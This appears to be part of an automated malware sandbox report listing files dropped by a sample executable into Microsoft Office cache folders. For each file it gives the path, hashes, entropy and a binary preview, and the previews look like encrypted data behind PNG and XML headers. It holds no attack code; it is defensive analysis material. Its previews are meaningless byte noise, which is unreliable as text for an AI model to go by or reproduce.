SSDEEP:	192:CPQqmEE/7iWBM+HzXViImJgPGfeV3GbuIRZdm:CPQqc2YLIVhfeV3OuGC
MD5:	67DEAFFE9938C83E141373190D248FE3
SHA1:	291258058EED7A6D485A37C5635D38837C0AFD1B
SHA-256:	4D04A179C86F4CEC1BB39B8029D2152FF978555922724CD3B8B58BCE56FCE5A2
SHA-512:	DCE70086CCBA7BF4500C56C253D7F6B35F86224AA61A9A71EE009859DCA4F9D034671181DB704C740FE3F4F038C6825EED4658D8AC9B060355D16926930E1DB1
Malicious:	false
Preview:	.PNG.-'.S....nk.6....lE...GF.....+ .&e`.\|..g..rw..v..T.....$%k. Q.N...O.Ey....i8.U.......!.&...Hs.....w.Tr...j...H.....8....V.......V<n.........nA....\|F6..u..3}3..'.$......).......7.b.^..)....\..g#...8..u...._T...l..!.....2.4L...0.O.}}. ..`.%..J..({.Y. ....l.M.....a..:.}@.$h..........+;A=9.>.O\|..q..3{w..ij3.H.O.`...J...p.2..Y...J0.o....u........u0..2.?.....e...W.R...N.V..O\|.:...,.........W2k.&NE.r.[W.KF.bl!....%d..>p.T...8.....Gs6[.....k5~.+r&b.As..........^.~..Z.K...R$N..B...........M.V.?.....+i....W.^\|.m....g.....4.......Yk%.:=u.Y..#.w.,.dfA~ECiC ..f..a...Y..n......kS........1.N.8a.Z$..A..^6,.Jp....?:[V+.........-..\_\|...".%hV..k3....P..T..f......PP..;1).K.$..T.;..Z['.....i..5y.r.........d.4r._..h./....{._.........i.a._G.c..S.e8.n...~x/Z.."..6..Y.....O..y.c.yI.:..j..B.\.1...`.kh'G...f.L.......q..)N..8ZM...f..Ej....n....8..@....CN...[&..\|rhk...N8\.SL.....N..y.....b.Zez...S~w....7...-..(.?..g.....s..@..+k.mg.,...g'J(.A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.965851747428521
Encrypted:	false
SSDEEP:	96:ZKer110Rw+paAwm+J/qZ+i2+0bZEr6QNUvuQbAmV+bcPm5V0FMIK:ZKer1KUm+d8+5bymQdyBV2cPmH0FM7
MD5:	315B829B1C484C671D63344C56CEB10A
SHA1:	C20E8D18B8D8AA8D8900853CB3769D8282827946
SHA-256:	2FD53A835D5F5CFEEEC7E2C2B6B22BF0E1C6B6423412C0B06AF43CE03220D7D6
SHA-512:	E206F27531FA50E33E72148C5B226984EA5BFA8A7F6D9F40689B92C6A79172615A185D1ED818A6B9DA009AAAE8A6C010A17DC758BEE10EDFAAD7397B67F6059D
Malicious:	false
Preview:	.PNG...74^J.T......;f/.Z;...1.h)...c.L.u.....jF.%......Y.%"3.....e.........g.6.d ...:e....y....(.`....g..u.+.A&o...`lt..._`bX.w....0.A..V..Y.....e...1i.$e..P......+Cp{4...L....9.}B....L:......P.t.z...._.j.{/..Nr.D.4y..l.M. .z....a.......vW.......5[..2.Mq.=.J'..:r!....^...,q...Sj.,......H....O.=.6...z..Y.s........a...i.0.<.]....k.k.bc.{.o..S...,.z......0....aJi>..{..{.....0...C'.[F..3...}. .....p..c.m.f&V.........]..].Z.Pw0Lg.o.1..0.4...0.+...~e.0=..t......7n..w...L....L..GqB'[....X.N..Q_.....`9.&..,..U....Z2.eL}....%...&>.:.0..;?+.JD...U..]&H..@g(...?...wW....~,....$...O.-a/'..D%&0..@...?......H..I...wJ..1}...# $.T.gU.].Q...'.%(.<..-qp+.p..y9#$....`.......,.dk....#.=..{.....<....}..Yd..*.>...k..6...... .[t'..R..:..S.{Kc.......W...h.V...yo.v.NRO....7..f...^u..\W.._.<S....[...f....EP.!.m..Cp..Z@.O2..P.Zv..I.M......&.o........].7......,.&i.:.P...\.a...k.Z.R...YbK. E..%..C.`B..=.&3...i..:.Z....U`.8.O.LC5...').0(.C.p.ML...i...\|G...r .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{F5FB5847-D24A-455C-A647-40C253091672}mt67739505.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	9080
Entropy (8bit):	7.9834562569734056
Encrypted:	false
SSDEEP:	192:WdG+cmY8Io/5dSMUvhSgbhNqlNtmAQzdrmWK85jFSWG9cJ16ax1:98I85IMUvjNotmTrmmvS39AP
MD5:	28CF9081A6E8023370D92C7C92EB81E4
SHA1:	4DCCBE006C9B9639F562F0F0750BD7BEEE0FD34E
SHA-256:	7C19F0B90482B9C2C8995AA31827633172B7AD70F2230D5C29B68AD7831FA33B
SHA-512:	97A5C638F4BA0A7F63CED8EE152826BB7AA137D8A7DC88659C3F9AC3F4C5A63994147760DE7DAFBAC4D7EF7BC0DD53A678B06E6AD08C54274E1FF494F67DE8B6
Malicious:	false
Preview:	.PNG.(D.wMX...?/v"8..k1...p...@.......g.......9A...s/U.........JW2.Y........\.jG......o...,.WE..&!..W.G.....>R[..[Z....H.........&n\=.sR.._...e...\|...D.?U.....Zs."....L...'.A...}..O..].0.. .y..%..../.........g..Q.jF.....7.x@.t.^....`.49...A.M..g..h...b...N(a.......`.D..q.6..1.3j...p...ub..W.....[6...66..p.H.l'=WUM.)...Ov..X..B;...3.FVBSo.(.....N.o...hc}Q!4..\|.F..;~...g0Ih.........EVA....%...pzu...Z..\|..]..~7..E.%.w]..g.\|?..(K..b...m........k...q.....H.\|.J.yi.[...L.Ew$..CY.-.m(.N.\|E....>.b..NL,%.c..W{..r......=.....p...^Cw.`U..".k...\|.`..$.i&.....N.x.yL.,#....@..oU....\|.4.C....t.&qa.S....O..Z\|aF..},..LUf.6...D............7.'.....~..f...J.>'{.Lh.^....3?.....'..;....=.H>Alt..v>;8....Z./N...Z-...............5.X.....\.%{.u.%%.......;0F.......Y.r....^..+......"n.0i......p......#Y+`.Fs9;.H.....qd~.+`.3.r...d..g.....=7...L+......-.).ZIHk471.Jp98q..F.:.....)4.cd..C.#..#..\S[.2j..CF.. *J.......[.(_'mP...j4..............v..Pm<...;.QV

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{FD5FD857-5A38-4C81-A322-3226BB279FAA}mt45299826.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	9025
Entropy (8bit):	7.979164902018723
Encrypted:	false
SSDEEP:	192:yaOY/c8KEKw8qtn3dIED2YZEthlX83el/YAIsTd+JFg0vj:NKEKw8qViEKhlsCYAthML
MD5:	F4E77A06CC520C2FB4AE5256D582D103
SHA1:	1463DE98ABB22A3954AB7554644D92A35AFB6263
SHA-256:	163F54B1A798C02BE3B3318B0FCCFE2B044ADB67049F2C05BAA35F2AAC52D429
SHA-512:	07E2BC7615542B4642F6BF02617295B92E09FD5DF59FC6640A4E2EB83408C97DCE9CA0EEC084EE8A7BAF33B9A8E8E1237B6D2A94751C9F0109507069A885B809
Malicious:	false
Preview:	.PNG...4.Cg.7hK...d..r.h\&...8XFv.\|..J...V...Ch...R....CH...=.W.0}l.O]{.R\ES.M....j]..4x..o.....L.$...F....#F87.^G..A.x6._.p..~.....8..GQ ... e.\18.....4:....T.l..O..2#./.."..n.rcasbX..kC+...J..N^./.+J-U.....D...!..1{....= U.>..v..\.......w.Wg)..d.+8...7Ho_..W6i.UD"...R.DyY.N...4.lX....O.y..,'.E..X6.\|.eJ.'c......D.GzFv.D..0.=Mj...q.-..\..C\|+.4Sp...X...oI..${......"..c........k.r]2M-.n....,.e/...f\.....N.0..L.sA.......[...a...q[.L...=...8D.u.z...Q.[...Z....B...S...^0.&H.?.....i.%..5.G+6..x.M....'..N..../}.hbme..G,....(..]Ohw..T....N.v(...)..e.hW[R..q........c..-6:.B.'gC.ov...'..H.T..Z...[.F`...r;.1.Tg...\.9..#a.....t}.:.!ub>.O].o....POi.z.....~m.`....\|..:0....sc.O..5.>l......RE~...}..g.m{.G.. &w....te..(.vi.1r...@.."k..&./lS..0....;B ...g...,.(.k_.e9b..P.3...6P8%....}W...M.....c,:..x..D.H....$...d..){....9.`..Jn-F..`!.B..D...q........b.n;..Ni..l.....S3.R.reZeK]....I....7r+/.......$..' RZ.....A.p...........@4.59T.....t..*...\|.;.h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100114v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	794
Entropy (8bit):	7.71222518416181
Encrypted:	false
SSDEEP:	12:HprIooEk+zjV1Fl1cVbvIMK0nr9aiu2B6vP1xAP/8jF2X1rhRxggsXrDSL3CYYcq:9oEk+tXzclCN2B2/k8mhRxgZPSLgbD
MD5:	9C5AAAFA811A58681DC3B053EB8B6354
SHA1:	589A94E55703631CEB34A9FAB76348A6110406EF
SHA-256:	7358E14482E829AFD5BB05925569D52AAF6A6889BCB0127FF1046AFA32CC050D
SHA-512:	F19720F6A03483353E4EA4E853957CFFB4F182E28703358D7FFCD0FBE81BD6BC9E479E417986135288C528BF9A5A8E1B18A6A9B4A879D553D023C8F140D53663
Malicious:	false
Preview:	<?xml\......ED..;P.....[]g...D.\...xb..#.....?...i.F..-./p.iB... .o....>h9.T./]..c.vN.er.O.....m..Dz.\.T.m..OA..l4....=5.v...Z^.i....1.......0.q...v.a#.H...iu.}L.g.....'..D...o_.!i...c......p.f...B..k...........<5dq...=YH..v..L.>.c\i....a.Fs..(2+.@...8.=-\|...p.. ...4.4Z-WI........l&Y...q._...W....ml..h.....4W...Q...@.....{.l....,.G..;.tn[...k..>z..G=x.b9..zZ......s.......&-w.a.;...=..2....eu.6...../=s../.B.G.p..\.N.Wd..>M.$CPQ...qP......4{]..um.x.2."......J......o..=..@.S.n..\|..v6...4'.+.....l:c....wO...g7.....n...e.#i#.}..N.+.>.4........z:..Y.o....J..K.......9....Q.U!A............4..j.R.1.I....M...Y.$.=W=.Wzi$..jS...:)<!&/.......?lV....V-nPE'D9,....no..-.....t.b....j.R...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100115v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	793
Entropy (8bit):	7.676171421179547
Encrypted:	false
SSDEEP:	24:DZIlboJr8gGbP9yzsHoYusUEPr72UJsvbD:+a8gGD9oGB6UYD
MD5:	3688292BBF1BCB056DEF0CB4131A0F39
SHA1:	CAD5018B96318BF3DBC1FE1A625C96602773DA56
SHA-256:	4B96179F8FA013EFEDE6FC2A7B93E7CE9C35AB1B31514BA363224A89D2A072C7
SHA-512:	99824E3FA5E8267464C66E9F497575F7BB9D1ED61A49FB7B8047339A5154A3B710C6669BBB77BA9780D5F597F5E20291B6C08897AABF9ADDAD9342819A973C1E
Malicious:	false
Preview:	<?xml?hd3..~..<.jjT..tGz...5..A./......HH;..Y6.h.....S......=.......V...c.....S-.....J5.(....L.?JT..&B..q!m...0.5....Q..%..g..r..#.....j5..p.o.Nx....J...s..Z.H.2.C.......v.p......k. .......G\d.X9.JCV2m.}..G.t.D..[.....eZ..V+ ....LL..i...\|.7.%v.~....M.t..7Z..I...Z--.D..:....e.@9.\|.v:.e..8KD3..x.,p.C.h..E.r...}..j..C.D...O_Z.B.....,..l.._Ymq.s9...\..A...I.*.2.....q.3_..p.]iO..N....j.xan.,..;.....[..J.O.g.....06.>..(.X.-c.....W.../...^A.T{]H-......L.eH+w..X.Ey+H<.~(..,..#.==...#vgD~.}d....w.K;..T.gzD.^....E..#RYG.{._.r.Q...........O~.......K2L.......)....7.R.p;l...=..e2l^.I-.P..Q....9.R.;i.5.....<...GB....8$.X......Q./.OuG....TO.3J....5....HO.........+F.v...{W..R2.R....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100116v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.681281580506792
Encrypted:	false
SSDEEP:	12:TCa+IZddyHy95I+BhPDN7WOwpfgBciDpRgBe9893nLdpBTYow0obnAY3H175lYcq:7+IZua5I+/paDfg9Rg4qXJpOLJp52bD
MD5:	B6E118B5543F7E023285806A153BFD6B
SHA1:	9904C2EF99D24C7F8BB7483FBB6C6B8B6DABE288
SHA-256:	330591E2ADAE2CDCC5FD76D60189D5D57B3D40B9181CC7C7AF654E723B31063E
SHA-512:	DB14F5A87E6B3485B48979F2563BEDF863C9CB865D435ADB689F3C49ECD1B0B41FA9CF64523E7F575B23D4DDB8145A6BC0ADCE44A5AE83ABBF96FEC1EEA2829B
Malicious:	false
Preview:	<?xml.jl?..5.9uk......#.I$.]2R.....).>..,..I.!..W..+.W..:?...I.s7..k...#...Z.E...l.0O.)....f..K..VQ7X....ps.........%.$.(...L..@...K..C.P/:.\.../^\|5.u.P..c.BJ;.+(P.k..sgC(.R..U..xU..3)..dF.E.....^.f.A#...1L...\|#..9#..&\.,......_.......,...4MdpX.1g`...1Z.nEb./i..-T,.vxP....g.c3.W.....~>..Z8.....}fC....n....,l.U........e..N.7..c%'.`iE....".......#zBt..}.u<YC..PtZfa.....'..+...w.$.....+...o..L...4....$.y....../.e........xuf~..f.f..`.....l.C..[..'..0.j...g...j.V4..j.'.0..}.......m...@..."...K.m.......s.`..L..[.?VK..=r.W..b..p .W2.W3;......;u#..U.Gw]8...:.W+DHB..I..P.P...w..>.3.......<.6.L..x..Q..e0......`..[..=.....,}.z.L..d......E~@..5r..{g..."..I>.,..`Z_.G...<..$s.DV~..#H..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100117v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	869
Entropy (8bit):	7.771666649479375
Encrypted:	false
SSDEEP:	24:YswckWwR6CqWK3NTS+GUU5OO6yDVZxrRUKQHn9bD:Qctw/qP3Ne+blyp7SKsn9D
MD5:	5AC975122CA2328BC69B813EC90DA696
SHA1:	301EE338B0A836D847B5AA235B9A30789ECF37CF
SHA-256:	B3E51B8FDB5BE829857E725887D27FF1480B194826669F9BAC9CC6387315A139
SHA-512:	0EB0FAA71DF9E482E5B35E6B335A6B7F97D56B2D1A5E1BDBE3459E1F3A236D48174F6F8F65770579AF001DAC0F3213159A558A9288757C6693E3DA068F398613
Malicious:	false
Preview:	<?xmle....o.k..S.....F,.@..~O.x.}o.!..P...p.....;.H.[^8..2d.m..@g.\...wU...m...M.S.............$0...dT...{..>AZ@m.4..!zG.&..]]....m.....5.s.)...p....%..=6a...Pr._y..H3.v..D..9=....g>...6.6k......Xu.e.>.y.'.#7W......z....Q.ZSP..7;0g.....7.wJ.$...9E..>}v..%Zw....v.H.Ou\.}:VQ.(d.".....`..i+5.._.. .X..ss....j1Q..:...2S..#._...../..K.s!FB-......x ......rw .......4..........Fe.OCTt.}2.MQ../.....Cp...Yz..0..`..M.r\#eI...U.Df..pS....:.\.x..ESc..t?.....F.FH8...v...z..+..l..?V.i....Lw..g..T...QtBs..8......A.$...#..`.LQ.G.....r$....B.F...% ....L[..D.P.....F9.Z~~......!.J$P.^$.\|....a.A<.....-E.,.!..i....p\.{NK.:..Yk...N...";.L.-z.W..I..b.7/.qm.u,H.D..].d8.......H....E-..~.m..o^U..T^U..P.W....[...U..:..$;X8......./Bj..6.).F.w.4.r.Mw.C...\|...iR..J....p..p"1GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100118v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	7.806765785008893
Encrypted:	false
SSDEEP:	24:YTRjNbJY3LCL0/ywA5UusGAy/NqMLSiTqu/n2ss1lx17bD:qRjlus/SusoN5F2sul3/D
MD5:	80E422786A6E57011A9007038D1284E2
SHA1:	D4C9D35A051645287C299FBB0F290E09572B72DF
SHA-256:	97C3721F8DAE1735C2F48B0276D088E4C9A9A4E01B5A3552E002578DB3BA236E
SHA-512:	CF0C185DCBDC3CA204542B18087D10F5FB181E1690666C64592B0CBA4309085092FCB59DCCC512532FD8655B2D8FE7FFAFEBBACCFC221BA6E0EED74F52115065
Malicious:	false
Preview:	<?xml....83..=....9...H.. .qk...:.."'8...........^..,.>....T/.q..'.H..}.A......_.J.0..8t..{.0....j..I}y.~..E...-.w-.r..P!$...+h._.....i>.k...`.J..{V_.V...Z..x.P..]..%R..-(....L.@.L.R.Kn.......Q..: .J.inCE.7t...6.eT.T.`........=..<+[.r.8..?v......h<.U.7.L...I..... h.{.=....e}....@e..H.8.iM5."..%.4....P.[^..0.....5.4...0...b.uaL...q......}P;....mW.}......H..9./.\l.`8.,x{&.....U.....t42^Yv5k.....M..ZcL...k.6..a4+...ZZ.9..nyv. ..%........(...Da..Z......Ch..3HO.+....h..I....W.Ap.....O..6-O.....].<..5.S}....0...i..].N7.Y}......t.{Z.....H..u).d$.^..@.5\|...#{3v.x..m.@.t...s.....Ls~..o..D..K../.2......../\|3.k#.)R.X.........c..dgD....c.Y..w._.[w.\|'.y......a...\|.4}C..B7)..............h...J...Y.....YgHi.b.3.T.l......Mr.'..$"....Q.&.8h..+.o.r....P..:..w..('F..M.../Kdr'J.[L!.~.....;.}{.5rs.s...F.JR..t.....%..`}p..`.)....#.Q3....y.4....].<.A..K.......S..../..b..*.....^fpg.<....<.h.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100119v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	7.869892206748486
Encrypted:	false
SSDEEP:	24:wKyonvlea+DWq1EOk4Nr6FuBD4aEZfhrr+BlGcfohem1INwmPqrAGmW8Oxh1bD:u04dzqm9DhE3CB1qTINwmi0GPjlD
MD5:	C394C22A6B31DCD2075299FD1DB2C1A2
SHA1:	32697EF3FDABD5F40E4FF429F7BD4D79C21B009C
SHA-256:	092EBF6E59FFDAFBC5122A7E410D5A1016E36BA8C5AEB9073E43D702FBF8C36B
SHA-512:	530FA5EAAD4083D41F8F6860C14CC5C5963C2B4AF540D1C23509A158C9DDA06A2A9ABB305167B5C53F779864E9333916A4E92ED7DF4ED6158CEE2626D4EDA0C3
Malicious:	false
Preview:	<?xml...]0..U..v....=_.ag....V}o.._.A/F2.d&.'.,...k....D........f..8.A\|...iE&.F...."+G6.Z..L..".3!I.N.t......2.....i..h.Y.T$I.....P.Wd....5( ..`.J3o8..8..}....N{...^.P-,.R..(.C...6?L..^9N..........[L....G.Oz.........".......Y.XX..8..f.8.E..&...t.dae.[J.^.+......\e.4.:.Y0,y..,I.-h=D\s.@..Bj.n.M.3.9kh..x.e.f...j..`b..n,.4.-...R...9W..]")Y'.2H..F.%...2..4.....C.L..........l..O.....W`x.KQ...o..z.@.0.`.`.....z.;B......4.z..V..`.Zb..(....o.f..l..C..%...yT.^..TCA..........(X.f/.4%.J.n.A.$.....f..KX%.7/)h...R...4....62.Gc.]r@..R.2....F.3.mc...N%4..4o...."\|........4. ..m..j.e\V..+..n...S..Ook9..!,Z{.VzJ....X.M......k....Z.`.E..(,....<.L>q..6(..ZW..z....:..E.?..+~.\|..iy..U...OV..qx.Y...!...Q..A..E.C."C.YtIc\|Rb.tg<.?..7....a../....^...0.c.}._.f$......`.n{E.L.._....:8..9.w.....a'g{..vg3.....OT.I..X._m....'oE~.....d....L.,O.....W....].!....?nk..e0..@.D...9.%x(2..?..V..pkmw...1,..{.<.....~........J....[..{h....>......V....}.>..6.BZ.........'g.z..l.U.e.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100124v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	743
Entropy (8bit):	7.749680392305897
Encrypted:	false
SSDEEP:	12:+JXHSKRX7n8UJONTelILPDUrsRljDPaYaMddt9XxzoGlZqhFWVJuaVsOa7vjQcmN:+J3S4XgUJONTelVrCl/iP0zuGlZqhYVd
MD5:	E0D14F2C5947C55BC577E6448F035378
SHA1:	4D547D169257558FE2466F6B3D6E895ABE1F3312
SHA-256:	8C6D32A3CBC2E5A7006261C0FD88AFCE8A24713844C18FFADC488FD1012324AF
SHA-512:	00BFB6B458C200243C453DD86C2ACEF2313D1D8C552BE196B28949ABE4F1188BDAFF9FC1012583DD4AE97249D3C39EDF58DF62844AD1EBCECB2C511C559C512D
Malicious:	false
Preview:	<?xml...S.{....)..>.....vh....q.`..o.p...x....s....)R..4.9.@....V...:%.v.>....D......].y..r.....3...1...B...H$.Jq...I.K.....W!.......jh.,._.\|...m.y..pU.Q:..y.ys.".Sz^&N.......J&!.3.nM..O.b`..x.. .k,.o....s}...=..j......)n.}.x.....+....[%<...Q......;.^......6n/G!K..3..\|Z\.p.+...D.UT&<.z....YA..n.....#...[lm7.._.>.N.r...H...\It.:.A.....g.(.9..).jo.r..o`.QJ.9 ;.Rq.!.3.QWU.{....n..'h*;.a.-.{.M>"..Oi'....l...Q.#....R .S%.:....^..G......t.w.L...#.......u.\|.<u..E..X.....$..\.~.`r7.xph).t...:..f...m..~t5#).B...'..!...v....1..6.9../........(/........O..!..H...n.\...G..4..Zc...u....,+...kduE.D...y.j.E.>#..;.K..=W'.,...K..Q..v..QGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100125v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	7.744660984025723
Encrypted:	false
SSDEEP:	24:mHlPmvnqA5b7DApNNSzDmhj4w49R7gvo7DxuEtobD:oleSsDAJSzChcw402EGyD
MD5:	DC7D118BBBA239C18A469189FDA36BA1
SHA1:	BA814BF4E85D403AB2E058406E91FBC2A4467BC2
SHA-256:	42EAF17FE473B4221959C60D8DACE0ED650DD207BA6A9E31EC362490DB15960F
SHA-512:	9C96226698812761B79D69CA5A88676F2B5B4CAD8AE0AAC739AC92228C357261E34EEA704BBFD4A2C1EDB58E14EE99C07A267F0725C50F5C978977DB4F0D6F5F
Malicious:	false
Preview:	<?xmlf.(....[>.`..9....nz2...)....1../.....%..[...<..j.g....q.Z.A.q......A.(Y-$.H...l......J.n...?]......{..Dc..[@..Es..-.f...V.K.a..f&~<.HBD.S%.5..71.N........q8U.V..R.....k.JX:`a..........la./..VN..Y.'...Fs..T.n..........z..n.>..Jz.f.9.......z+P.D'<.R...91.I.?......(.....$.IO7...u.....Xe...JiV.0~>gb......K..3o.[0.....S.s.dA.B.2h.8.U....oC......~..........qQ....c66.../%..K..q#..A..G.....@s..].j.(..c.EG.4.\|..w.i../>...6....U.....O..U,.......&.......T.&.8....(.<........!.+......W....?[...F...0..F..x.',..-n..c-8...K.....~.M\|......0..zsQ...D...q?.=.g..W.}.....iGEA.D...:..m.A...$.\|z.(\..26....\u....T,....e.d.."....[q.Y...Z.Md....dVj..!b..J...9V_.C..u4.q.%OWl..Y..%..-..3h...F....y...pcv..CO.s.`s.......*"O..I..6.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100126v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	849
Entropy (8bit):	7.743707845658984
Encrypted:	false
SSDEEP:	24:qLIj54NITOoSseZpV97b6XXRxS4KKLTbD:3j4oSVPV9aRrD
MD5:	4A7FA5103A9D60A6349EFB18192BBB65
SHA1:	6482313C6DE2E03A1CE6B8D229D547AB2756461E
SHA-256:	91805D098F3EB9D1B452058CB64526C1028AB42061068E551235C423EC726841
SHA-512:	BDFB35E3132E256AAAE69AF68B835C14268633EB7146311A48AA136614D7AD11246C5905684C7B4103BB610FA2AEBD98D942E166AF155C5A658EF23966A4B226
Malicious:	false
Preview:	<?xml...[.."~ A..cq+.\.x.4..B.E.rOF.A...Mhv.oc..aoB.......0.iB..hk...1..........K..}.s={-...u.........}...).h.....A..j..1..E.>\|.y&Ct..R..v...Jy..;.Ue....\.....0..\....2..t......E>..KF.8B.._{j...+.f.MM...n.%..0.(.G...(.#........o.>.H..]....1..<.A..)....0Di.s[...D.w!......+...._+......gd.].;T.).]q..3...akO...\|.E$..f. .A.^...lU...Z:.....Fh..h.Yv)W.h.Y.\|.....}..\....x.........w.......!........u}OIP.L;...Xu....@.f(;...5.:.f..y-.-.....}.u.....U....9...Nb.0kD.~.5......!V.....G....W....2..V.v......DD.....:D...u.d.g..}...~...../.A.....<.....7C.......oS......;...{.;....'...c....z.U..O....J...6RzC..X..v........{M...^.......S.r.c{......v.R.\|O\..do...F<.."..M[.......3U...T1............y.......i.l.G"x...B&.B;.1."...I......]....G'N.......lq..u.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100127v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.72765971161262
Encrypted:	false
SSDEEP:	24:RcgKWqa/2FJHx5j/W87WjyQTO0X9owPuybD:jKWK7R5ji7TO0XdD
MD5:	CFC5B38493CF773148A013C90480AE96
SHA1:	54401E2F7D4822658BE2B514F82685241A261D5D
SHA-256:	C43923CE09E2451C9DEEA32639BCC602E3360889E08194F5382559717AA84FE1
SHA-512:	DB271BC65C2AB3736A29A120153BB50F53E5FB66EDB8A5071636B377CB3FFC2F7726DDEFB16563502564FF8E0C35122B29E3C0D184B6AE6C6B394EAC85912601
Malicious:	false
Preview:	<?xml....A..a.......S[z.G.`-.,..~...K..g.zl...BZe.)..hWK.O..+.......Hn.h....S..As.V8.P..e.X.....Z.UO2.V.m.S.....k.....r.'..SR0.1!...{.Bc!. .t..$BY.`.m..V..n...../.-...M.eG....Q.VJok.........6.....,.ir..P..Qm{>........\.......mak.......S..3..X.......&H..H.G..^.........t.l.Ur.O`.,......SK....D.].."...s.7Z..N)iJNm....R.h.\Y..!k&...._.F..fD...L..z..z.V.....F..jd#...(.NGQ.....ap....:BX.....n...O...Qx........v7. ..1T...M...?..l...r$...C.x.....0.V.[......tRY...\-.uUM....)D8..._........0.../m..js.5.................}.Z.N..e..vq..o..XS=.i3...Ub\n5..7.t.L...3...a......t...m....8...TX...4=..\.......P.....6.BZ..~F.T.0jK.....`....,......]n....^..D\.].i....('..~.....[.]..#.^_...A_8..'.&l.N.!.......%}.`...).zr.~...P...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule100128v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.752506260973889
Encrypted:	false
SSDEEP:	12:j5+ZJf00FvIsuSVtBGbkzVP5/ZVU7ao6j2RXp1+q0MgJ7bZK+TbRYYcii9a:jaRIZA/GgzR+7aV2QTKY9bD
MD5:	48708BC5DBA45EB7D5A8F8C4E6F3A8CF
SHA1:	A21A03B7336762C868A4D4DD7F2AE57F613201A8
SHA-256:	1EAF4B9D77480F923160D28389C9075C6A61040AAFEC1234C6AC9F9CDD40C819
SHA-512:	7345F4286A8DAABFA1DB6C15EFBF7EB2974A6C1322FFC97E04E8F0B792795C126D4AF55A127D1319677202A15A1C9CB027A52332FD39145210C40E8074545899
Malicious:	false
